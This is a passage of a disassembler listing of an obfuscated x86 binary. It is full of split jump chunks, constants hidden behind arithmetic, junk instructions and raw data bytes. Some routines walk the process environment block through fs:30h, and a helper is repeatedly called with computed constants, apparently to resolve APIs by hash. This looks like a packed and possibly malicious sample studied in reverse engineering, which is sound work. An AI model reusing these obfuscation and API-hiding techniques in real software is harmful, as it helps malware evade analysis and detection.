; --------------------------------------------------------------------------- loc_42B163: ; CODE XREF: wto1jq8f:00427E35j jmp loc_4290E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42B168: ; CODE XREF: sub_42CBD1-606Ej jmp loc_42CCED ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42B16D: ; CODE XREF: sub_42D4FD:loc_42C6D9j ror eax, 1Bh push eax push eax jmp loc_42DBF9 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- loc_42B177: ; CODE XREF: wto1jq8f:004247BCj cdq ; =============== S U B R O U T I N E ======================================= sub_42B178 proc near ; CODE XREF: sub_42A5C4+5F0p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax add eax, 3E669BA0h xchg eax, [esp-4+arg_0] jmp near ptr sub_4291B9 sub_42B178 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42B18A: ; CODE XREF: sub_429471-4BE8j jle loc_42B60A cdq jmp loc_42C137 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42B196: ; CODE XREF: wto1jq8f:00428A14j jns loc_42FC98 shr esi, 5 sub edx, 0FD1B2F93h call near ptr sub_42A0E5 jmp loc_42C387 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C859 loc_42B1AF: ; CODE XREF: sub_42C859:loc_4281F0j mov edi, eax mov eax, 80000001h xor edx, edx cpuid and eax, 0FFFh add [esi], eax xor [esi], edx push 42FAE4h jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_42C859 ; --------------------------------------------------------------------------- loc_42B1CD: ; CODE XREF: wto1jq8f:00428C45j ; wto1jq8f:loc_429B33j add ebx, 0D591627Dh call near ptr loc_42F62A+3 ; START OF FUNCTION CHUNK FOR sub_428136 loc_42B1D8: ; CODE XREF: sub_428136+Dj jmp loc_426CEB ; END OF FUNCTION CHUNK FOR sub_428136 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF6 loc_42B1DD: ; CODE XREF: sub_42AAF6+Ej pop ebx or ebx, 0E06A5EB2h and ebx, 0C1771246h jnz loc_42DD9B jmp nullsub_168 ; END OF FUNCTION CHUNK FOR sub_42AAF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42B1F5: ; CODE XREF: sub_42CBD1+1EA4j jmp loc_42A4EF ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- loc_42B1FA: ; CODE XREF: wto1jq8f:0042C7BBj jmp loc_4259AE ; --------------------------------------------------------------------------- loc_42B1FF: ; CODE XREF: wto1jq8f:004270A1j jmp loc_42A64D ; --------------------------------------------------------------------------- jns sub_426500 jmp loc_42F298 ; --------------------------------------------------------------------------- locret_42B20F: ; CODE XREF: wto1jq8f:loc_4263E2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_42B210: ; CODE XREF: sub_42B35E+11j jmp loc_42E38D ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_42B215: ; CODE XREF: sub_427D82+1EE6j jmp loc_427A0C ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B6D loc_42B21A: ; CODE XREF: sub_429B6D+4j or eax, eax jnz loc_429E71 call sub_424382 or eax, eax jmp loc_429E6B ; END OF FUNCTION CHUNK FOR sub_429B6D ; --------------------------------------------------------------------------- db 8 db 0C0h ; À db 0Fh db 84h ; „ db 41h ; A db 0BBh ; » db 0FFh db 0FFh db 0E9h ; é db 0D0h ; Ð db 0E5h ; å db 0FFh db 0FFh ; --------------------------------------------------------------------------- sub edi, eax xchg edx, [eax] jmp sub_42B5D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42B244: ; CODE XREF: sub_429BFF+22C2j sub ebp, ebx test ebx, ecx jmp loc_426DA6 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42B24D: ; CODE XREF: sub_42CBD1-27A4j jz loc_426B5D sbb esi, 6E9558E4h ror esi, 12h jmp near ptr loc_42F5A7+1 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42B261: ; CODE XREF: sub_42C6C3:loc_42D81Cj push ecx push 0BDD6D154h pop ecx xor ecx, 0BDD6D17Ch jmp loc_42979E ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42B274: ; CODE XREF: sub_42DC5C+C1j add esi, edi ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42B276 proc near ; CODE XREF: sub_42628C+6A3Dp var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424E93 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426281 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427101 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427C6B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042819A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004281AB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428B27 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428E35 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00429D43 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A307 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B922 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D8B4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042E838 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F6DD SIZE 00000008 BYTES mov [esp+4+var_4], ebx pop ebx xchg edx, edi push eax push ebx pop eax jmp loc_42D8B4 sub_42B276 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42B284: ; CODE XREF: wto1jq8f:loc_424D4Ej ; wto1jq8f:loc_425D6Fj retn ; --------------------------------------------------------------------------- loc_42B285: ; CODE XREF: wto1jq8f:loc_42C470j mov ebx, 0E67370A7h jnz loc_42AF90 mov edi, ecx jmp loc_425C9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42B297: ; CODE XREF: sub_42A909-9D0j jnz loc_424027 jmp loc_4241C6 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_42B2A2: ; CODE XREF: wto1jq8f:00429B2Ej jle loc_425AB9 xchg edi, [esp] pop edi lea edx, [ebp-14h] mov eax, offset dword_42D5D0 push edi push 5ED3F11Ch mov edi, offset loc_424B5B jmp loc_424DE2 ; --------------------------------------------------------------------------- loc_42B2C4: ; DATA XREF: sub_4242D6:loc_42AB5Do push esi xchg ebp, esi ; START OF FUNCTION CHUNK FOR sub_429471 loc_42B2C7: ; CODE XREF: sub_429471:loc_42C364j mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_42F1F0, 0 jmp loc_42A4E4 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_42B2D8: ; CODE XREF: sub_42A88D-1D71j or ebp, 10919ECFh loc_42B2DE: ; CODE XREF: sub_42A88D:loc_427777j call sub_4242D6 mov edx, 0DE6CF580h call sub_429165 push eax loc_42B2EE: ; CODE XREF: wto1jq8f:00429B4Fj rol eax, 0Bh push ebx push 230B7ADFh jmp loc_428F4C ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- loc_42B2FC: ; CODE XREF: wto1jq8f:0042B401j pop esi add esi, 2F91B6Ch xchg esi, [esp] jmp loc_4290B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D53B loc_42B30B: ; CODE XREF: sub_42D53B-136Aj test byte ptr [ebp-8], 40h call sub_42B705 loc_42B314: ; CODE XREF: sub_4262F5-3ABj jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42D53B ; --------------------------------------------------------------------------- loc_42B319: ; CODE XREF: wto1jq8f:00426735j ja loc_429C3D ; =============== S U B R O U T I N E ======================================= sub_42B31F proc near ; CODE XREF: wto1jq8f:00429E4Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425DC1 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx xchg eax, [esp-4+arg_0] mov edx, eax pop eax and edx, 0CD475F61h jmp loc_425DC1 sub_42B31F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42B334: ; CODE XREF: wto1jq8f:0042E870j call near ptr sub_42481C ; =============== S U B R O U T I N E ======================================= sub_42B339 proc near ; CODE XREF: wto1jq8f:00424B61p ; sub_426535:loc_427D52j arg_0 = dword ptr 4 mov [esp+0], edx pop edx add edi, 166B5ECh xchg edi, [esp-4+arg_0] jmp loc_427AB7 sub_42B339 endp ; sp-analysis failed ; --------------------------------------------------------------------------- lea eax, [ebp-14h] jmp loc_42ED77 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B353 proc near ; CODE XREF: sub_427A8Dj var_6C = dword ptr -6Ch var_64 = byte ptr -64h var_20 = dword ptr -20h var_18 = dword ptr -18h ; FUNCTION CHUNK AT 00424B52 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00424DD4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427E7A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428148 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004290BD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042943B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ABD0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042C151 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C2FC SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042CAE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FFCB SIZE 0000000E BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh jmp loc_42943B sub_42B353 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B35E proc near ; CODE XREF: wto1jq8f:00427C66j ; wto1jq8f:loc_42D0CEp ; FUNCTION CHUNK AT 00425D11 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A007 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B210 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E38D SIZE 00000013 BYTES mov [esp+0], ebx pop ebx mov eax, large fs:30h mov eax, [eax+0Ch] mov eax, [eax+0Ch] jmp loc_42B210 sub_42B35E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42B374: ; CODE XREF: wto1jq8f:loc_4247EDj sub edx, ds:4000F7h add edx, 0B4879305h xchg edx, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- loc_42B388: ; CODE XREF: wto1jq8f:0042E50Cj pop eax call loc_42F25F ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42B38E: ; CODE XREF: sub_4244EA+449Fj jmp loc_42CFB3 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42B393: ; CODE XREF: sub_42B02D+4A9j mov ds:dword_42FB5C, eax jmp loc_42D814 ; --------------------------------------------------------------------------- loc_42B39D: ; CODE XREF: sub_42B02D:loc_42B4B4j cmp ds:dword_42FB5C, 0 jnz loc_42E090 call sub_429B6D mov edx, 0E5254649h jmp loc_42A8CF ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- push 0FE557F17h pop edx add edx, ds:4000F1h and edx, 0BEDB578Eh add edx, 18B83CE3h call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_42F08D ; --------------------------------------------------------------------------- loc_42B3E2: ; CODE XREF: wto1jq8f:loc_42703Cj call sub_429165 call sub_426D31 loc_42B3EC: ; CODE XREF: wto1jq8f:0042BDE6j sub ecx, 0AF4F09C7h shr edi, 13h jnp loc_429B61 loc_42B3FB: ; CODE XREF: wto1jq8f:loc_4273C5j push esi push 0FD497DF8h jmp loc_42B2FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42B406: ; CODE XREF: sub_424D3A+6BBDj add edx, 81F5F871h xor edi, 6A27030Ch loc_42B412: ; CODE XREF: sub_424D3A:loc_42B8EBj add eax, 8400D39Ch call loc_42FED8 ; END OF FUNCTION CHUNK FOR sub_424D3A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pushf jmp loc_42DCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B424: ; CODE XREF: sub_426535+51CBj jge loc_42C906 rol ebp, 0Bh jmp loc_42FCAC ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E3FD loc_42B432: ; CODE XREF: sub_42E3FD-9C7Ej pop ebx pop eax pop ecx pop edx pop ebp jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_42E3FD ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] db 74h, 0B4h, 0E9h dd 4C524194h, 55A35DB0h, 38AA6285h, 0A0472FFEh, 8846068Ah dd 0DB014707h, 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 0C44D801h dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 73DB01C0h, 8B7575CCh dd 0FCEE831Eh ; --------------------------------------------------------------------------- loc_42B484: ; DATA XREF: sub_426535:loc_428494o test eax, eax jl loc_4250CA inc eax mov [ebp-24h], eax push offset loc_429484 jmp loc_427A6F ; --------------------------------------------------------------------------- lea eax, [ebp-14h] push eax call sub_42B02D mov ds:dword_42F1F0, eax jmp loc_4294E8 ; --------------------------------------------------------------------------- xor eax, eax mov ds:dword_42FB50, eax ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42B4B4: ; CODE XREF: sub_42B02D-2222j jo loc_42B39D cmp ds:dword_42FB5C, 0 jnz loc_42E090 call sub_429B6D mov edx, 0E5254649h call sub_426C04 jmp loc_42B393 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- jb loc_4276C0 sub eax, ebx jmp sub_424907 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B4E8: ; CODE XREF: sub_428FD1-1135j ; sub_426535:loc_427EA5j ... jz loc_42504E cmp dword ptr [ebp-4], 5 jnz loc_424934 jmp loc_4280A8 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42B4FD proc near ; DATA XREF: sub_428A4E+1o rol eax, 9 mov ds:dword_42D5F0, eax retn sub_42B4FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42B507: ; CODE XREF: sub_42606D+6BE1j jmp loc_4284A6 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B50C: ; CODE XREF: sub_426535+7EBDj ror eax, 9 push eax jmp loc_42B141 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42B515: ; CODE XREF: sub_4269FD:loc_42B6CFj jnz loc_42A723 jmp loc_428E27 ; END OF FUNCTION CHUNK FOR sub_4269FD ; =============== S U B R O U T I N E ======================================= sub_42B520 proc near ; CODE XREF: wto1jq8f:00429375j ; sub_4282C1+6592p ; FUNCTION CHUNK AT 00424899 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F383 SIZE 00000001 BYTES mov [esp+0], edx pop edx mov eax, [ebp+8] mov eax, [eax-10h] jmp loc_424899 sub_42B520 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jnb loc_42BEC0 add edx, 22DADF68h xchg edx, [esp] jmp loc_426388 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_42B543: ; CODE XREF: sub_427D82:loc_429C4Fj ; wto1jq8f:loc_42E5F5j inc [ebp+var_20] mov eax, [ebp+var_20] mov byte ptr [eax], 6Ch inc [ebp+var_20] mov eax, [ebp+var_20] mov byte ptr [eax], 6Ch jmp loc_42DFA7 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- jnz loc_428730 jmp loc_42E691 ; =============== S U B R O U T I N E ======================================= sub_42B565 proc near ; CODE XREF: wto1jq8f:00428EAAp ; wto1jq8f:0042B8D3j ; FUNCTION CHUNK AT 00424522 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250AC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00426EEE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004294AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AAA4 SIZE 00000014 BYTES xchg esi, [esp+0] pop esi add eax, edx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] cmp eax, [ebp-14h] jmp loc_424522 sub_42B565 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42B57E: ; CODE XREF: wto1jq8f:0042E1E4j retn ; --------------------------------------------------------------------------- loc_42B57F: ; CODE XREF: wto1jq8f:00425D30j jmp locret_4248CC ; --------------------------------------------------------------------------- dword_42B584 dd 0B82C820Fh, 7D80FFFFh, 850F00FBh, 399Ah, 0FFE850E9h ; DATA XREF: sub_427143:loc_425BE9o db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42B599: ; CODE XREF: sub_4284EC-365Ej pop eax sub eax, 0B2549B7Ch add eax, 9EEE554Ah loc_42B5A6: ; CODE XREF: wto1jq8f:0042B14Bj popf xchg eax, [esp+0] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_4264A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B5BE: ; CODE XREF: sub_426535:loc_42779Dj mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jmp loc_42C538 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42B5C9 proc far ; CODE XREF: wto1jq8f:0042404Cj ; sub_425C5F+Ap mov [esp+0], edi pop edi loc_42B5CD: ; CODE XREF: wto1jq8f:loc_427B37j add edx, ebx push offset loc_425F79 jmp near ptr loc_42FE84+4 sub_42B5C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42B5D9 proc near ; CODE XREF: wto1jq8f:0042824Ap ; wto1jq8f:0042B23Fj xchg edx, [esp+0] pop edx mov eax, ebx jmp near ptr loc_42F9B5+1 sub_42B5D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B5E4 proc near ; CODE XREF: sub_426461+Ap ; wto1jq8f:loc_426F10p ... ; FUNCTION CHUNK AT 00428AFA SIZE 00000006 BYTES mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] jmp loc_428AFA sub_42B5E4 endp ; --------------------------------------------------------------------------- loc_42B5F0: ; CODE XREF: wto1jq8f:0042636Aj ja loc_42F77A mov [esp], edi pop edi add esi, 70DB461Bh popf xchg esi, [esp] jmp near ptr loc_42F184+1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42B60A: ; CODE XREF: wto1jq8f:00425D45j ; sub_429471:loc_42B18Aj jmp loc_42CD28 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42B60F: ; DATA XREF: wto1jq8f:00425EDFo push 400h mov eax, [ebp-8] push offset sub_425EB9 jmp locret_42D657 ; --------------------------------------------------------------------------- loc_42B621: ; CODE XREF: wto1jq8f:0042775Dj pop ecx and ecx, 0D7E2172Dh xor ecx, 3243E421h add ecx, 0CBA0DCA8h xchg ecx, [esp] jmp sub_42B855 ; =============== S U B R O U T I N E ======================================= sub_42B63C proc far ; CODE XREF: wto1jq8f:0042686Bj ; wto1jq8f:0042924Fp ; FUNCTION CHUNK AT 0042D024 SIZE 00000012 BYTES xchg ecx, [esp+0] pop ecx push 0BDBDEA17h pop ebx sub ebx, 0D689645Fh and ebx, 1E8E921Dh xor ebx, 0E89832AEh jmp loc_42D024 sub_42B63C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D44C loc_42B65D: ; CODE XREF: sub_42D44C:loc_426EC4j mov eax, [ebp-1Ch] mov eax, ds:dword_425108[eax*4] mov [ebp-8], eax call sub_42D9D9 loc_42B66F: ; DATA XREF: sub_426535+5249o add eax, ebp add eax, 3AAD3D5Ah mov eax, [eax] push 0F707A16Ch mov [esp+4+var_4], eax call sub_42DFE5 lea eax, [ebp-0Ch] jmp loc_42E878 ; END OF FUNCTION CHUNK FOR sub_42D44C ; --------------------------------------------------------------------------- loc_42B68E: ; CODE XREF: wto1jq8f:0042826Ej add esp, 0FFFFFFE0h jmp loc_428EFF ; --------------------------------------------------------------------------- loc_42B696: ; CODE XREF: wto1jq8f:0042CAA7j not eax loc_42B698: ; CODE XREF: wto1jq8f:loc_42BF18j call sub_4262F5 ; START OF FUNCTION CHUNK FOR sub_426950 loc_42B69D: ; CODE XREF: sub_426950:loc_4281A6j mov esi, 8FED14A3h popf jmp loc_427D8B ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42B6A8: ; CODE XREF: sub_428C71:loc_42CD71j push 0AAB38A23h pop eax add eax, 4410EB76h xor eax, 5FD48CA3h jmp near ptr loc_42F3BF+1 ; END OF FUNCTION CHUNK FOR sub_428C71 ; --------------------------------------------------------------------------- pop ebx pop ecx mov ebp, offset loc_428B27 xchg ebp, [esp] retn ; --------------------------------------------------------------------------- dw 0B0E8h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42B6CF: ; CODE XREF: sub_4269FD:loc_42422Cj ; sub_42A909+3E21j jmp loc_42B515 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- call nullsub_154 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_424B9B push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi jmp loc_42BF30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B6F9: ; CODE XREF: sub_426535:loc_42DFE0j shr edx, 2 not eax test edi, ecx jmp loc_42B424 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42B705 proc near ; CODE XREF: sub_429471-11EDj ; sub_42D53B-222Cp ; FUNCTION CHUNK AT 004242EE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426C60 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi jz loc_426C60 push ebp mov eax, [ebp-20h] call sub_4242F8 push offset loc_42C085 jmp nullsub_78 sub_42B705 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42B722: ; CODE XREF: wto1jq8f:00425EA3j jz loc_42CD44 jmp loc_424B3D ; --------------------------------------------------------------------------- mov eax, ebx jmp sub_42C423 ; --------------------------------------------------------------------------- jnz loc_427834 push ecx mov ecx, [esp+10h] mov dword ptr [ecx], 10001h lea eax, loc_424294 jmp loc_42A84E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42B752: ; CODE XREF: sub_42ADC7-516Dj jnz loc_428E5F jmp loc_42A72A ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424859 loc_42B75D: ; CODE XREF: sub_424859:loc_42DAEDj mov ebp, esp push ebx push offset sub_42DA69 jmp near ptr nullsub_28+1 ; END OF FUNCTION CHUNK FOR sub_424859 ; --------------------------------------------------------------------------- loc_42B76A: ; CODE XREF: wto1jq8f:00429DE4j mov [edx], ebx ja loc_42C3B2 ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B772: ; CODE XREF: sub_426535+3896j xor eax, 0D3DA3951h add eax, 0F38A3EC7h push offset loc_42B66F jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- popf adc edx, ebx jmp sub_42AEDD ; --------------------------------------------------------------------------- loc_42B790: ; DATA XREF: wto1jq8f:0042A27Fo mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42B79A: ; CODE XREF: wto1jq8f:0042E382j jmp locret_42E939 ; --------------------------------------------------------------------------- db 0E8h dd 0FFFFBB4Fh, 240C899Ch, 0FFA163E9h db 0FFh ; --------------------------------------------------------------------------- loc_42B7AD: ; CODE XREF: wto1jq8f:0042687Cj push offset word_429B76 jmp locret_42E06B ; --------------------------------------------------------------------------- locret_42B7B7: ; CODE XREF: wto1jq8f:0042D2E8j retn ; --------------------------------------------------------------------------- loc_42B7B8: ; DATA XREF: wto1jq8f:0042625Co add eax, 7418C957h xchg eax, [esp] jmp sub_42D765 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE65 loc_42B7C6: ; CODE XREF: sub_42D35A:loc_42DAA4j ; sub_42DE65+7j js loc_42BA12 mov eax, [ebp-4] movzx eax, byte ptr [eax] call sub_4244EA loc_42B7D7: ; CODE XREF: sub_425CE2+5D60j jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_42DE65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_42B7DC: ; CODE XREF: sub_42BB8A-56DBj jnz loc_42DFB1 mov eax, [ebp-8] shl eax, 3 add [ebp-8], eax jmp loc_426052 ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- loc_42B7F0: ; CODE XREF: wto1jq8f:loc_42DFF7j jnz loc_42D0CE jmp loc_4274AE ; --------------------------------------------------------------------------- pushf shl esi, 1Ch jmp sub_42621A ; --------------------------------------------------------------------------- loc_42B804: ; DATA XREF: sub_42DA92-69DCo xchg ebp, [esp] mov eax, ebp pop ebp or eax, 937D3376h xor eax, 5E116E99h add eax, 56567B0Eh mov eax, [eax] jmp loc_429436 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42B823: ; CODE XREF: sub_42628C+15j mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_42CF73 call sub_42CF6A loc_42B836: ; CODE XREF: wto1jq8f:00426678j jmp sub_4293C8 ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B83B: ; CODE XREF: sub_426535-79Dj jmp loc_426E5D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dword_42B840 dd 0FC458959h, 0FFF445FFh, 850FE84Dh, 0FFFFA734h, 0FFF4FCE9h ; DATA XREF: sub_42C6C3-384Do db 0FFh ; =============== S U B R O U T I N E ======================================= sub_42B855 proc near ; CODE XREF: wto1jq8f:0042B637j ; sub_42C6C3+9p ; FUNCTION CHUNK AT 0042E63A SIZE 00000005 BYTES jnb sub_424F7A jmp loc_42E63A sub_42B855 endp ; --------------------------------------------------------------------------- loc_42B860: ; CODE XREF: wto1jq8f:0042ECD2j call sub_42B866 retn ; =============== S U B R O U T I N E ======================================= sub_42B866 proc near ; CODE XREF: sub_42A909:loc_428EBCp ; wto1jq8f:loc_42B860p ... ; FUNCTION CHUNK AT 0042DB01 SIZE 00000005 BYTES xchg ebp, ecx push offset loc_4294C7 jmp loc_42DB01 sub_42B866 endp ; --------------------------------------------------------------------------- loc_42B872: ; CODE XREF: wto1jq8f:00429982j xchg ebp, [eax] add eax, 0ADF4A478h xchg eax, [esp] jmp loc_42ABB9 ; --------------------------------------------------------------------------- loc_42B882: ; CODE XREF: wto1jq8f:00428049j jz loc_42E456 jmp loc_424854 ; --------------------------------------------------------------------------- shl edi, 1Bh jmp loc_42F745 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42B895: ; CODE XREF: sub_427143+Aj call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_4261EE ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_42B8A6: ; CODE XREF: wto1jq8f:loc_42D78Ej cmp byte ptr [ebp-5], 0 jnz loc_425BE9 jmp loc_4277E9 ; 